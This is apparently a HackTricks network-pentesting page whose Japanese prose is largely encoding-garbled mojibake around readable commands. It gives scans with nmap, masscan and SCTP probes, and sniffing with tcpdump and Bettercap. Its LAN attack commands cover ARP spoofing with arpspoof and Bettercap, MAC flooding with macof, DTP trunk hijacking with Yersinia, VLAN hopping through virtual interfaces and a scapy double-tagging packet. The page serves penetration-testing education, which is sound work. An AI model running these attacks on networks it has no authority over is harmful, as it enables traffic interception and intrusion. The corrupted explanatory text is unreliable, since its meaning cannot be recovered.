.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md | ||
webrtc-dos.md |
Pentesting Network
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Discovering hosts from the outside
ããã¯ãã€ã³ã¿ãŒãããããå¿çããŠããIPãèŠã€ããæ¹æ³ã«ã€ããŠã®ç°¡åãªã»ã¯ã·ã§ã³ã§ãã
ãã®ç¶æ³ã§ã¯ãããã€ãã®IPã®ç¯å²ïŒå Žåã«ãã£ãŠã¯è€æ°ã®ç¯å²ïŒããããã©ã®IPãå¿çããŠããããèŠã€ããå¿
èŠããããŸãã
ICMP
ããã¯ããã¹ãã皌åããŠãããã©ãããçºèŠããããã®æãç°¡åã§æéã®æ¹æ³ã§ãã
ããã€ãã®ICMPãã±ãããéä¿¡ããå¿çãæåŸ
ããããšãã§ããŸããæãç°¡åãªæ¹æ³ã¯ããšã³ãŒãªã¯ãšã¹ããéä¿¡ããå¿çãæåŸ
ããããšã§ãããããåçŽãªping
ã䜿çšããããç¯å²ã®ããã«fping
ã䜿çšããŠè¡ãããšãã§ããŸãã
ãŸããnmapã䜿çšããŠä»ã®ã¿ã€ãã®ICMPãã±ãããéä¿¡ããããšãã§ããŸãïŒããã«ãããäžè¬çãªICMPãšã³ãŒãªã¯ãšã¹ã-å¿çã®ãã£ã«ã¿ãŒãåé¿ã§ããŸãïŒã
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCPããŒãçºèŠ
ããããçš®é¡ã®ICMPãã±ããããã£ã«ã¿ãªã³ã°ãããŠããããšãéåžžã«äžè¬çã§ãããã®ããããã¹ãã皌åããŠãããã©ããã確èªããããã«ã§ããããšã¯ããªãŒãã³ããŒããèŠã€ããããšã ãã§ããåãã¹ãã«ã¯65535ããŒãããããŸãã®ã§ãã倧ããªãã¹ã³ãŒããããå Žåãåãã¹ãã®åããŒãããªãŒãã³ãã©ããããã¹ãããããšã¯ã§ããŸãããããã«ã¯ããŸãã«ãå€ãã®æéãããããŸãã
ãã®ãããå¿
èŠãªã®ã¯é«éããŒãã¹ãã£ããŒïŒmasscanïŒãšãæã䜿çšãããããŒãã®ãªã¹ãã§ãïŒ
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
nmap
ã䜿ã£ãŠãã®ã¹ããããå®è¡ããããšãã§ããŸãããé
ããnmap
ã¯ãã¹ãã®èå¥ã«åé¡ããããŸãã
HTTPããŒãçºèŠ
ããã¯ãHTTP ãµãŒãã¹ã®çºèŠã«çŠç¹ãåœãŠãããšãã«äŸ¿å©ãªTCPããŒãçºèŠã§ãïŒ
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDPããŒãçºèŠ
ããã€ãã®UDPããŒããéããŠãããã©ããã確èªããŠããã¹ãã«ãã£ãšæ³šæãæãã¹ãããå€æããããšãã§ããŸããUDPãµãŒãã¹ã¯éåžžãéåžžã®ç©ºã®UDPãããŒããã±ããã«ããŒã¿ã§å¿çããªããããããŒãããã£ã«ã¿ãªã³ã°ãããŠããã®ãéããŠããã®ããå€æããã®ã¯é£ããã§ãããããå€æããæãç°¡åãªæ¹æ³ã¯ãå®è¡äžã®ãµãŒãã¹ã«é¢é£ãããã±ãããéä¿¡ããããšã§ãããã©ã®ãµãŒãã¹ãå®è¡ãããŠãããããããªããããããŒãçªå·ã«åºã¥ããŠæãå¯èœæ§ã®é«ããã®ãè©Šãã¹ãã§ãïŒ
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
ææ¡ãããnmapã®è¡ã¯ã/24ç¯å²å
ã®ãã¹ãŠã®ãã¹ãã§äžäœ1000ã®UDPããŒãããã¹ãããŸãããããã ãã§ã**>20åããããŸããæéã®çµæãå¿
èŠãªå Žåã¯ãudp-proto-scannerã䜿çšã§ããŸãïŒ./udp-proto-scanner.pl 199.66.11.53/24
ããã«ããããããã®UDPãããŒããäºæ³ãããããŒã**ã«éä¿¡ãããŸãïŒ/24ç¯å²ã®å Žåãããã«ã¯ããã1åããããŸãïŒïŒDNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTPããŒããã£ã¹ã«ããªãŒ
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
ããã§ã¯ãå·çæç¹ã§ã®ããç¥ãããWifiæ»æã®ã¬ã€ããèŠã€ããããšãã§ããŸãïŒ
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
å éšãããã¹ããçºèŠãã
ãããã¯ãŒã¯å ã«ããå Žåãæåã«è¡ãããããšã®äžã€ã¯ä»ã®ãã¹ããçºèŠããããšã§ããã©ãã ãã®ãã€ãºãåºãããšãã§ããã/ããããã«ãã£ãŠãç°ãªãã¢ã¯ã·ã§ã³ãå®è¡ã§ããŸãïŒ
ããã·ã
æ¥ç¶ããããããã¯ãŒã¯å ã§ãã¹ããååçã«çºèŠããããã«ããããã®ããŒã«ã䜿çšã§ããŸãïŒ
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Active
å€éšãããã¹ããçºèŠããããã®æè¡ã«ã€ããŠã¯ãDiscovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) ã§ã³ã¡ã³ããããæè¡ãããã§é©çšã§ããŸãã
ããããä»ã®ãã¹ããšåããããã¯ãŒã¯ã«ãããããããå€ãã®ããšãã§ããŸãïŒ
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Active ICMP
å€éšãããã¹ããçºèŠããéã«ã³ã¡ã³ããããæè¡ïŒICMPïŒã¯ããã§ãé©çšå¯èœã§ãã
ããããä»ã®ãã¹ããšåããããã¯ãŒã¯ã«ãããããããå€ãã®ããšãã§ããŸãïŒ
- ãµãããããããŒããã£ã¹ãã¢ãã¬ã¹ã«pingãéä¿¡ãããšãpingã¯åãã¹ãã«å°éãã圌ãã¯ããªãã«å¿çããããšãã§ããŸãïŒ
ping -b 10.10.5.255
- ãããã¯ãŒã¯ãããŒããã£ã¹ãã¢ãã¬ã¹ã«pingãéä¿¡ãããšãä»ã®ãµããããå
ã®ãã¹ããèŠã€ããããšãã§ããŸãïŒ
ping -b 255.255.255.255
nmap
ã®-PE
ã-PP
ã-PM
ãã©ã°ã䜿çšããŠãICMPv4ãšã³ãŒãã¿ã€ã ã¹ã¿ã³ããããã³ãµãããããã¹ã¯ãªã¯ãšã¹ããããããéä¿¡ãããã¹ãçºèŠãè¡ããŸãïŒnmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lanã¯ããããã¯ãŒã¯ã¡ãã»ãŒãžãéããŠã³ã³ãã¥ãŒã¿ãèµ·åããããã«äœ¿çšãããŸããã³ã³ãã¥ãŒã¿ãèµ·åããããã«äœ¿çšãããããžãã¯ãã±ããã¯ãMAC DstãæäŸããããã®åŸåããã±ããå
ã§16åç¹°ãè¿ãããã ãã®ãã±ããã§ãã
ãã®çš®ã®ãã±ããã¯éåžžãã€ãŒãµããã0x0842ãŸãã¯ããŒã9ãžã®UDPãã±ããã§éä¿¡ãããŸãã
[MAC]ãæäŸãããªãå Žåããã±ããã¯ãããŒããã£ã¹ãã€ãŒãµãããã«éä¿¡ããïŒãããŒããã£ã¹ãMACãç¹°ãè¿ããããã®ã«ãªããŸãïŒã
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
ãã¹ãã®ã¹ãã£ã³
æ·±ãã¹ãã£ã³ããããã¹ãŠã®IPïŒå€éšãŸãã¯å éšïŒãçºèŠããããããŸããŸãªã¢ã¯ã·ã§ã³ãå®è¡ã§ããŸãã
TCP
- ãªãŒãã³ããŒã: SYN --> SYN/ACK --> RST
- ã¯ããŒãºããŒã: SYN --> RST/ACK
- ãã£ã«ã¿ããŒã: SYN --> [NO RESPONSE]
- ãã£ã«ã¿ããŒã: SYN --> ICMPã¡ãã»ãŒãž
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
UDPããŒããã¹ãã£ã³ããããã®2ã€ã®ãªãã·ã§ã³ããããŸãïŒ
- UDPãã±ãããéä¿¡ããããŒããéããŠããå Žåã¯_ICMPå°éäžèœ_ã®å¿çã確èªããŸãïŒããã€ãã®ã±ãŒã¹ã§ã¯ICMPããã£ã«ã¿ãªã³ã°ããããããããŒããéããŠãããéããŠãããã®æ å ±ã¯åãåããŸããïŒã
- ãµãŒãã¹ããã®å¿çãåŒãåºãããã«ãã©ãŒããããããããŒã¿ã°ã©ã ãéä¿¡ããŸãïŒäŸïŒDNSãDHCPãTFTPãªã©ã_nmap-payloads_ã«ãªã¹ããããŠããŸãïŒãå¿çãåãåã£ãå ŽåãããŒãã¯éããŠããŸãã
Nmapã¯"-sV"ã䜿çšããŠäž¡æ¹ã®ãªãã·ã§ã³ãæ··åããŸãïŒUDPã¹ãã£ã³ã¯éåžžã«é ãã§ããïŒãUDPã¹ãã£ã³ã¯TCPã¹ãã£ã³ãããé ãããšã«æ³šæããŠãã ããïŒ
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTPã¹ãã£ã³
SCTP (ã¹ããªãŒã å¶åŸ¡äŒéãããã³ã«) ã¯ãTCP (äŒéå¶åŸ¡ãããã³ã«) ãš UDP (ãŠãŒã¶ãŒããŒã¿ã°ã©ã ãããã³ã«) ãšäžç·ã«äœ¿çšãããããã«èšèšãããŠããŸãããã®äž»ãªç®çã¯ãIPãããã¯ãŒã¯äžã§ã®é»è©±ããŒã¿ã®èŒžéãä¿é²ããããšã§ãããSS7 (ä¿¡å·ã·ã¹ãã 7) ã«èŠãããå€ãã®ä¿¡é Œæ§æ©èœãåæ ããŠããŸããSCTP ã¯ãSS7ä¿¡å·ãIPãããã¯ãŒã¯äžã§èŒžéããããšãç®çãšããSIGTRANãããã³ã«ãã¡ããªãŒã®ã³ã¢ã³ã³ããŒãã³ãã§ãã
SCTP ã®ãµããŒãã¯ãIBM AIXãOracle SolarisãHP-UXãLinuxãCisco IOSãããã³ VxWorks ãªã©ã®ããŸããŸãªãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«ãã£ãŠæäŸãããŠãããéä¿¡ããã³ãããã¯ãŒãã³ã°ã®åéã§ã®åºç¯ãªåãå ¥ããšæçšæ§ã瀺ããŠããŸãã
nmapã§ã¯ãSCTPã®ããã«2ã€ã®ç°ãªãã¹ãã£ã³ãæäŸãããŠããŸã: -sY ãš -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDSãšIPSã®åé¿
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
ããå€ãã®nmapãªãã·ã§ã³
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
å éšIPã¢ãã¬ã¹ã®æ瀺
誀èšå®ãããã«ãŒã¿ãŒããã¡ã€ã¢ãŠã©ãŒã«ããããã¯ãŒã¯ããã€ã¹ã¯ãéå ¬éã®ãœãŒã¹ã¢ãã¬ã¹ã䜿çšããŠãããã¯ãŒã¯ãããŒãã«å¿çããããšããããŸããtcpdumpãå©çšããŠããã¹ãäžã«ãã©ã€ããŒãã¢ãã¬ã¹ããåä¿¡ãããã±ãããç¹å®ã§ããŸããå ·äœçã«ã¯ãKali Linuxäžã§ãeth2ã€ã³ã¿ãŒãã§ãŒã¹ã§ãã±ããããã£ããã£ã§ããŸããNATããã¡ã€ã¢ãŠã©ãŒã«ã®èåŸã«ã»ããã¢ãããããå Žåããã®ãããªãã±ããã¯ãã£ã«ã¿ãªã³ã°ãããå¯èœæ§ãé«ãããšã«æ³šæãå¿ èŠã§ãã
tcpdump ânt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
ã¹ãããã£ã³ã°ã§ã¯ããã£ããã£ããããã¬ãŒã ããã±ãããã¬ãã¥ãŒããããšã§ãIPç¯å²ããµãããããµã€ãºãMACã¢ãã¬ã¹ãããã³ãã¹ãåã®è©³çŽ°ãåŠã¶ããšãã§ããŸãããããã¯ãŒã¯ã誀ã£ãŠæ§æãããŠããå Žåãã¹ã€ããã³ã°ãã¡ããªãã¯ãã¹ãã¬ã¹äžã«ããå Žåãæ»æè ã¯ããã·ããããã¯ãŒã¯ã¹ãããã£ã³ã°ãéããŠæ©å¯æ å ±ããã£ããã£ããããšãã§ããŸãã
ã¹ã€ãããããã€ãŒãµããããããã¯ãŒã¯ãé©åã«æ§æãããŠããå ŽåããããŒããã£ã¹ããã¬ãŒã ãšããªãã®MACã¢ãã¬ã¹å®ã®ããŒã¿ã®ã¿ã衚瀺ãããŸãã
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
ãªã¢ãŒããã·ã³ããSSHã»ãã·ã§ã³ãä»ããŠWiresharkãGUIãšããŠäœ¿çšãããªã¢ã«ã¿ã€ã ã§ãã±ããããã£ããã£ããããšãã§ããŸãã
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
æããã«ã
èªèšŒæ å ±ã®ãã£ããã£
https://github.com/lgandx/PCredz ã®ãããªããŒã«ã䜿çšããŠãpcapãŸãã¯ã©ã€ãã€ã³ã¿ãŒãã§ãŒã¹ããèªèšŒæ å ±ã解æã§ããŸãã
LANæ»æ
ARPã¹ããŒãã£ã³ã°
ARPã¹ããŒãã£ã³ã°ã¯ããã·ã³ã®IPãç§ãã¡ã®ããã€ã¹ã®MACã§ããããšã瀺ãããã«ãç¡åã®ARPã¬ã¹ãã³ã¹ãéä¿¡ããããšã§ããããã«ããã被害è ã¯ARPããŒãã«ãå€æŽããã¹ããŒãã£ã³ã°ãããIPã«æ¥ç¶ããããšãã«ç§ãã¡ã®ãã·ã³ã«é£çµ¡ããŸãã
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
ã¹ã€ããã®CAMããŒãã«ããªãŒããŒãããŒãããããã«ãç°ãªããœãŒã¹MACã¢ãã¬ã¹ãæã€å€ãã®ãã±ãããéä¿¡ããŸããCAMããŒãã«ãæºæ¯ã«ãªããšãã¹ã€ããã¯ããã®ããã«åäœãå§ãïŒãã¹ãŠã®ãã©ãã£ãã¯ããããŒããã£ã¹ãããŸãïŒã
macof -i <interface>
In modern switches this vulnerability has been fixed.
802.1Q VLAN / DTP Attacks
Dynamic Trunking
The **Dynamic Trunking Protocol (DTP)**ã¯ããã©ã³ã¯ã®èªåã·ã¹ãã ãä¿é²ããããã«èšèšããããªã³ã¯å±€ãããã³ã«ã§ãããã¹ã€ããããã©ã³ã¯ã¢ãŒãïŒTrunkïŒãŸãã¯éãã©ã³ã¯ã¢ãŒãã®ããŒããèªåçã«éžæã§ããããã«ããŸããDTPã®å±éã¯ããã°ãã°æé©ã§ãªããããã¯ãŒã¯èšèšã®ææšãšèŠãªãããå¿ èŠãªå Žåã«ã®ã¿ãã©ã³ã¯ãæåã§æ§æããé©åãªææžåã確ä¿ããããšã®éèŠæ§ã匷調ããŸãã
ããã©ã«ãã§ã¯ãã¹ã€ããããŒãã¯ãã€ãããã¯ãªãŒãã¢ãŒãã§åäœããããã«èšå®ãããŠãããé£æ¥ããã¹ã€ããããã®èŠæ±ãããã°ãã©ã³ã¯ãéå§ããæºåãæŽã£ãŠããŸããã»ãã¥ãªãã£äžã®æžå¿µã¯ããã³ãã¹ã¿ãŒãŸãã¯æ»æè ãã¹ã€ããã«æ¥ç¶ããDTP Desirableãã¬ãŒã ãéä¿¡ããŠããŒãããã©ã³ã¯ã¢ãŒãã«åŒ·å¶ããå Žåã«çããŸãããã®ã¢ã¯ã·ã§ã³ã«ãããæ»æè ã¯STPãã¬ãŒã åæãéããŠVLANãåæããä»®æ³ã€ã³ã¿ãŒãã§ãŒã¹ãèšå®ããããšã§VLANã»ã°ã¡ã³ããŒã·ã§ã³ãåé¿ã§ããŸãã
å€ãã®ã¹ã€ããã«ããã©ã«ãã§DTPãååšããããšã¯ãæµãã¹ã€ããã®åäœãæš¡å£ãããã¹ãŠã®VLANã®ãã©ãã£ãã¯ã«ã¢ã¯ã»ã¹ããããšãå¯èœã«ããŸããã¹ã¯ãªããdtpscan.shã¯ãã€ã³ã¿ãŒãã§ãŒã¹ãç£èŠããã¹ã€ãããããã©ã«ãããã©ã³ã¯ããã€ãããã¯ããªãŒãããŸãã¯ã¢ã¯ã»ã¹ããŒãã¢ãŒãã«ããããæããã«ããŸããåŸè ã¯VLANãããã³ã°æ»æã«å¯ŸããŠå¯äžå ç«ã®ããæ§æã§ãããã®ããŒã«ã¯ãã¹ã€ããã®è匱æ§ç¶æ ãè©äŸ¡ããŸãã
ãããã¯ãŒã¯ã®è匱æ§ãç¹å®ãããå Žåã_Yersinia_ããŒã«ã䜿çšããŠDTPãããã³ã«ãä»ããŠããã©ã³ã¯ãæå¹ã«ãããããšãã§ãããã¹ãŠã®VLANããã®ãã±ããã芳å¯ããããšãå¯èœã«ãªããŸãã
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
VLANãåæããããã«ãã¹ã¯ãªããDTPHijacking.py**ã䜿çšããŠDTP Desirableãã¬ãŒã ãçæããããšãå¯èœã§ãã**ãããªãç¶æ³ã§ãã¹ã¯ãªãããäžæããªãã§ãã ããã3ç§ããšã«DTP Desirableãæ³šå ¥ããŸããã¹ã€ããäžã§åçã«äœæããããã©ã³ã¯ãã£ãã«ã¯5åéã®ã¿ååšããŸãã5ååŸããã©ã³ã¯ã¯åæãããŸãã
sudo python3 DTPHijacking.py --interface eth0
ç§ã¯**Access/Desirable (0x03)**ãDTPãã¬ãŒã ãDesirableã¿ã€ãã§ããããšã瀺ããããŒãã«Trunkã¢ãŒãã«åãæ¿ããããæ瀺ããããšãææããããšæããŸãããŸãã802.1Q/802.1Q (0xa5)ã¯802.1Qã«ãã»ã«åã¿ã€ãã瀺ããŸãã
STPãã¬ãŒã ãåæããããšã§ãVLAN 30ãšVLAN 60ã®ååšã«ã€ããŠåŠã³ãŸãã
ç¹å®ã®VLANãžã®æ»æ
VLAN IDãšIPå€ãç¥ã£ãããç¹å®ã®VLANãæ»æããããã«ä»®æ³ã€ã³ã¿ãŒãã§ãŒã¹ãèšå®ã§ããŸãã
DHCPãå©çšã§ããªãå Žåã¯ã_ifconfig_ã䜿çšããŠéçIPã¢ãã¬ã¹ãèšå®ããŠãã ããã
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
è°è«ãããæ»æã§ããDynamic Trunkingãšä»®æ³ã€ã³ã¿ãŒãã§ãŒã¹ãäœæããä»ã®VLANå ã®ãã¹ããçºèŠããã¯ãããŒã«ã«ãã£ãŠèªåçã«å®è¡ãããŸã: https://github.com/nccgroup/vlan-hopping---frogger
Double Tagging
æ»æè ã被害è ãã¹ãã®MACãIPãããã³VLAN IDã®å€ãç¥ã£ãŠããå Žåã圌ã¯ãã¬ãŒã ãããã«ã¿ã°ããæå®ãããVLANãšè¢«å®³è ã®VLANã§ãã±ãããéä¿¡ããããšããããšãã§ããŸãã被害è ã¯æ»æè ã«æ¥ç¶ã§ããªããããæ»æè ã«ãšã£ãŠæè¯ã®éžæè¢ã¯UDPãä»ããŠéä¿¡ããããšã§ããããã«ãããããã€ãã®èå³æ·±ãã¢ã¯ã·ã§ã³ãå®è¡ã§ãããããã³ã«ïŒäŸãã°SNMPïŒãšéä¿¡ã§ããŸãã
æ»æè ã®å¥ã®ãªãã·ã§ã³ã¯ãæ»æè ãå¶åŸ¡ãã被害è ãã¢ã¯ã»ã¹å¯èœãªIPãåœè£ ããŠTCPããŒãã¹ãã£ã³ãå®è¡ããããšã§ãïŒããããã€ã³ã¿ãŒããããä»ããŠïŒããã®åŸãæ»æè ã¯ã被害è ããã®ãã±ãããåä¿¡ããå Žåã圌ãææãã2çªç®ã®ãã¹ãã§ã¹ãããã£ã³ã°ãè¡ãããšãã§ããŸãã
ãã®æ»æãå®è¡ããã«ã¯ãscapyã䜿çšã§ããŸã: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
ããçŽæ¥æ¥ç¶ãããŠããã¹ã€ããã«ã¢ã¯ã»ã¹ã§ããå Žåããããã¯ãŒã¯å ã§VLANã»ã°ã¡ã³ããŒã·ã§ã³ããã€ãã¹ããèœåããããŸããåã«ããŒãããã©ã³ã¯ã¢ãŒãã«åãæ¿ãïŒãã©ã³ã¯ãšãåŒã°ããŸãïŒãã¿ãŒã²ããVLANã®IDãæã€ä»®æ³ã€ã³ã¿ãŒãã§ãŒã¹ãäœæããIPã¢ãã¬ã¹ãèšå®ããŸããã¢ãã¬ã¹ãåçã«èŠæ±ããïŒDHCPïŒããéçã«èšå®ããããšãã§ããŸããã±ãŒã¹ã«ãããŸãã
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Layer 3 Private VLAN Bypass
ã²ã¹ãç¡ç·ãããã¯ãŒã¯ãªã©ã®ç¹å®ã®ç°å¢ã§ã¯ã**ããŒãã¢ã€ãœã¬ãŒã·ã§ã³ïŒãã©ã€ããŒãVLANãšãåŒã°ããŸãïŒ**èšå®ãå®è£ ãããç¡ç·ã¢ã¯ã»ã¹ãã€ã³ãã«æ¥ç¶ãããã¯ã©ã€ã¢ã³ãå士ãçŽæ¥éä¿¡ããã®ãé²ããŸãããããããããã®ã¢ã€ãœã¬ãŒã·ã§ã³å¯Ÿçãåé¿ã§ããæè¡ãç¹å®ãããŠããŸãããã®æè¡ã¯ããããã¯ãŒã¯ACLã®æ¬ åŠãŸãã¯äžé©åãªèšå®ãå©çšããIPãã±ãããã«ãŒã¿ãŒãéããŠåããããã¯ãŒã¯äžã®å¥ã®ã¯ã©ã€ã¢ã³ãã«ã«ãŒãã£ã³ã°ãããããšãå¯èœã«ããŸãã
æ»æã¯ãå®å ã¯ã©ã€ã¢ã³ãã®IPã¢ãã¬ã¹ãæã€ãã±ãããäœæããã«ãŒã¿ãŒã®MACã¢ãã¬ã¹ã䜿çšããããšã«ãã£ãŠå®è¡ãããŸããããã«ãããã«ãŒã¿ãŒã¯èª€ã£ãŠãã±ãããã¿ãŒã²ããã¯ã©ã€ã¢ã³ãã«è»¢éããŸãããã®ã¢ãããŒãã¯ã被害è ã«ã¢ã¯ã»ã¹å¯èœãªãã¹ããå¶åŸ¡ããèœåãå©çšããŠã»ãã¥ãªãã£ã®æ¬ é¥ãæªçšããããã«ã¿ã°æ»æã§äœ¿çšããããã®ã«äŒŒãŠããŸãã
æ»æã®äž»èŠãªã¹ãããïŒ
- ãã±ããã®äœæïŒ ã¿ãŒã²ããã¯ã©ã€ã¢ã³ãã®IPã¢ãã¬ã¹ãå«ãããã«ç¹å¥ã«äœæããããã±ãããäœæããŸãããã«ãŒã¿ãŒã®MACã¢ãã¬ã¹ã䜿çšããŸãã
- ã«ãŒã¿ãŒã®åäœãæªçšïŒ äœæããããã±ãããã«ãŒã¿ãŒã«éä¿¡ãããèšå®ã«ããããã±ãããã¿ãŒã²ããã¯ã©ã€ã¢ã³ãã«ãªãã€ã¬ã¯ãããããã©ã€ããŒãVLANèšå®ã«ããã¢ã€ãœã¬ãŒã·ã§ã³ããã€ãã¹ããŸãã
VTP Attacks
VTPïŒVLANãã©ã³ã¯ãããã³ã«ïŒã¯VLAN管çãéäžåããŸããVLANããŒã¿ããŒã¹ã®æŽåæ§ãç¶æããããã«ãªããžã§ã³çªå·ãå©çšããå€æŽããããšãã®çªå·ãå¢å ããŸããã¹ã€ããã¯ãããé«ããªããžã§ã³çªå·ãæã€èšå®ãæ¡çšããèªèº«ã®VLANããŒã¿ããŒã¹ãæŽæ°ããŸãã
VTP Domain Roles
- VTPãµãŒããŒïŒ VLANã管çããŸãâäœæãåé€ãå€æŽããŸãããã¡ã€ã³ã¡ã³ããŒã«VTPã¢ããŠã³ã¹ããããŒããã£ã¹ãããŸãã
